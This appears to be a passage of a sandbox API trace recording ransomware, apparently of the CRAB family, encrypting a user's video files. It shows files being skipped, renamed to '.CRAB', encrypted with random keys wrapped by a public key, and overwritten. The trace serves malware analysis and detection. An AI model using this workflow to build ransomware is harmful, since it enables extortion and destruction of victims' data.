	[0134.761] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.761] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0134.761] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0134.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CRAB-DECRYPT.txt"
	[0134.761] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.761] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CRAB-DECRYPT.txt") returned 60
	[0134.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CRAB-DECRYPT.txt") returned 60
	[0134.761] lstrlenW (lpString=".txt") returned 4
	[0134.761] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.762] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0134.762] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CRAB-DECRYPT.txt") returned 60
	[0134.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\CRAB-DECRYPT.txt") returned 60
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0134.762] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0134.762] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.763] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.763] lstrcmpW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2=".") returned 1
	[0134.763] lstrcmpW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="..") returned 1
	[0134.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="D0ig976NHDQ2gUp9w0J5.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv"
	[0134.763] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.763] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv") returned 68
	[0134.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv") returned 68
	[0134.763] lstrlenW (lpString=".flv") returned 4
	[0134.763] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.763] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.763] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv") returned 68
	[0134.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv") returned 68
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="desktop.ini") returned -1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="autorun.inf") returned 1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="ntuser.dat") returned -1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="iconcache.db") returned -1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="bootsect.bak") returned 1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="boot.ini") returned 1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="ntuser.dat.log") returned -1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="thumbs.db") returned -1
	[0134.764] lstrcmpiW (lpString1="D0ig976NHDQ2gUp9w0J5.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.764] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.764] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB") returned 73
	[0134.764] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\d0ig976nhdq2gup9w0j5.flv")) returned 0x20
	[0134.764] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv", dwFileAttributes=0x20) returned 1
	[0134.765] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\d0ig976nhdq2gup9w0j5.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\d0ig976nhdq2gup9w0j5.flv.crab")) returned 1
	[0134.766] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.766] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB"
	[0134.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB.CRAB"
	[0134.766] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0134.767] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.768] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.768] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.768] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0134.768] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.768] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0134.769] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.770] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.770] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.770] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.770] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.770] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.770] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.771] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.772] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249ab0) returned 1
	[0134.772] CryptGetKeyParam (in: hKey=0x3249ab0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.772] CryptEncrypt (in: hKey=0x3249ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.772] GetLastError () returned 0x0
	[0134.772] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.772] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0134.773] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249730) returned 1
	[0134.774] CryptGetKeyParam (in: hKey=0x3249730, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.774] CryptEncrypt (in: hKey=0x3249730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.774] GetLastError () returned 0x0
	[0134.774] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0134.774] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\D0ig976NHDQ2gUp9w0J5.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\d0ig976nhdq2gup9w0j5.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.774] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.775] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.775] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x5673, lpOverlapped=0x0) returned 1
	[0134.787] VirtualAlloc (lpAddress=0x0, dwSize=0x5680, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.787] VirtualAlloc (lpAddress=0x0, dwSize=0x5680, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.788] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.789] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffa98d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.789] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x5680, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x5680, lpOverlapped=0x0) returned 1
	[0134.789] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.789] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.796] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.796] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.797] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.797] CloseHandle (hObject=0x3ec) returned 1
	[0134.797] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.797] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.797] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.797] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.798] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.798] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.798] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.798] lstrcmpW (lpString1="dk75wRX-.avi", lpString2=".") returned 1
	[0134.798] lstrcmpW (lpString1="dk75wRX-.avi", lpString2="..") returned 1
	[0134.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="dk75wRX-.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi"
	[0134.798] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.798] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi") returned 56
	[0134.798] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi") returned 56
	[0134.798] lstrlenW (lpString=".avi") returned 4
	[0134.798] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.799] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0134.799] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi") returned 56
	[0134.799] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi") returned 56
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="desktop.ini") returned 1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="autorun.inf") returned 1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="ntuser.dat") returned -1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="iconcache.db") returned -1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="bootsect.bak") returned 1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="boot.ini") returned 1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="ntuser.dat.log") returned -1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="thumbs.db") returned -1
	[0134.799] lstrcmpiW (lpString1="dk75wRX-.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.799] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.799] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB") returned 61
	[0134.800] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\dk75wrx-.avi")) returned 0x20
	[0134.800] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi", dwFileAttributes=0x20) returned 1
	[0134.800] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\dk75wrx-.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\dk75wrx-.avi.crab")) returned 1
	[0134.801] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.801] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB"
	[0134.801] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB.CRAB"
	[0134.801] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0134.802] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.803] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.803] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.803] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.803] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.803] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.803] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0134.804] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.805] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.805] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.805] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.805] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.805] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.805] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.806] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.807] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249bb0) returned 1
	[0134.807] CryptGetKeyParam (in: hKey=0x3249bb0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.807] CryptEncrypt (in: hKey=0x3249bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.808] GetLastError () returned 0x0
	[0134.808] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.808] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0134.809] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32496f0) returned 1
	[0134.809] CryptGetKeyParam (in: hKey=0x32496f0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.809] CryptEncrypt (in: hKey=0x32496f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.809] GetLastError () returned 0x0
	[0134.809] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0134.810] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\dk75wRX-.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\dk75wrx-.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.810] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.810] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.810] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0xc2a3, lpOverlapped=0x0) returned 1
	[0134.825] VirtualAlloc (lpAddress=0x0, dwSize=0xc2b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.826] VirtualAlloc (lpAddress=0x0, dwSize=0xc2b0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.827] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.828] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff3d5d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.828] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc2b0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xc2b0, lpOverlapped=0x0) returned 1
	[0134.828] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.828] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.832] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.832] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.832] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.832] CloseHandle (hObject=0x3ec) returned 1
	[0134.832] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.833] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.833] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.833] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.833] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.833] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.834] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
